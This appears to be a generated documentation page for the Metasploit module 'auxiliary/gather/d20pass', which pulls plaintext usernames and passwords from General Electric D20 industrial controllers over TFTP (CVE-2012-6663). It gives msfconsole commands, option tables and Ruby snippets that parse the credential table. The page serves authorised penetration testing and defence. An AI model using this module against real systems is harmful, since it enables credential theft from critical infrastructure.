General Electric D20 Password Recovery - Metasploit


This page contains detailed information about how to use the auxiliary/gather/d20pass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: General Electric D20 Password Recovery
Module: auxiliary/gather/d20pass
Source code: modules/auxiliary/gather/d20pass.rb
Disclosure date: 2012-01-19
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 69
List of CVEs: CVE-2012-6663

The General Electric D20ME and possibly other units (D200?) feature TFTP readable configurations with plaintext passwords. This module retrieves the username, password, and authentication level list.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/d20pass
msf auxiliary(d20pass) > show targets
    ... a list of targets ...
msf auxiliary(d20pass) > set TARGET target-id
msf auxiliary(d20pass) > show options
    ... show and set options ...
msf auxiliary(d20pass) > exploit

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Msfconsole Usage

Here is how the gather/d20pass auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/d20pass

msf6 auxiliary(gather/d20pass) > show info

       Name: General Electric D20 Password Recovery
     Module: auxiliary/gather/d20pass
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-01-19

Provided by:
  K. Reid Wightman <[email protected]>

Check supported:
  No

Basic options:
  Name                Current Setting  Required  Description
  ----                ---------------  --------  -----------
  REMOTE_CONFIG_NAME  NVRAM\D20.zlb    yes       The remote filename used to retrieve the configuration
  RHOSTS              192.168.255.1    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT               69               yes       The target port (UDP)

Description:
  The General Electric D20ME and possibly other units (D200?) feature 
  TFTP readable configurations with plaintext passwords. This module 
  retrieves the username, password, and authentication level list.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-6663

Module Options

This is a complete list of options available in the gather/d20pass auxiliary module:

msf6 auxiliary(gather/d20pass) > show options

Module options (auxiliary/gather/d20pass):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   REMOTE_CONFIG_NAME  NVRAM\D20.zlb    yes       The remote filename used to retrieve the configuration
   RHOSTS              192.168.255.1    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT               69               yes       The target port (UDP)

Advanced Options

Here is a complete list of advanced options supported by the gather/d20pass auxiliary module:

msf6 auxiliary(gather/d20pass) > show advanced

Module advanced options (auxiliary/gather/d20pass):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/d20pass module can do:

msf6 auxiliary(gather/d20pass) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/d20pass auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/d20pass) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Bad account parsing at <VALUE>

Here is a relevant code snippet related to the "Bad account parsing at <VALUE>" error message:

230:	      f.seek(dstart + headerlen + i * entrylen + 2)
231:	      accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
232:	      f.seek(dstart + headerlen + i * entrylen + 2 + 22)
233:	      accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
234:	      if accountname.size + accountpass.size > 44
235:	        print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
236:	        break
237:	      end
238:	      logins <<  [accounttype,  accountname,  accountpass]
239:	      report_cred(
240:	        ip: datastore['RHOST'],

No data collected

Here is a relevant code snippet related to the "No data collected" error message:

256:	        datastore['RPORT']
257:	      )
258:	      print_line logins.to_s
259:	      print_status("Loot stored in: #{loot}")
260:	    else
261:	      print_error("No data collected")
262:	    end
263:	  end
264:	
265:	  def parse(fh)
266:	    print_status("Parsing file")

Invalid Configuration File!

Here is a relevant code snippet related to the "Invalid Configuration File!" error message:

265:	  def parse(fh)
266:	    print_status("Parsing file")
267:	    File.open(fh.path, 'rb') do |f|
268:	      used = f.read(4)
269:	      if used != "USED"
270:	        print_error "Invalid Configuration File!"
271:	        return
272:	      end
273:	      f.seek(0x38)
274:	      start = makefptr(f.read(4))
275:	      userptr = findentry(f, "B014USER", start)

Error finding the user table in the configuration.

Here is a relevant code snippet related to the "Error finding the user table in the configuration." error message:

274:	      start = makefptr(f.read(4))
275:	      userptr = findentry(f, "B014USER", start)
276:	      if userptr != nil
277:	        parseusers(f, userptr)
278:	      else
279:	        print_error "Error finding the user table in the configuration."
280:	      end
281:	    end
282:	  end
283:	
284:	  def run

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References

Authors

  • K. Reid Wightman <wightman[at]digitalbond.com>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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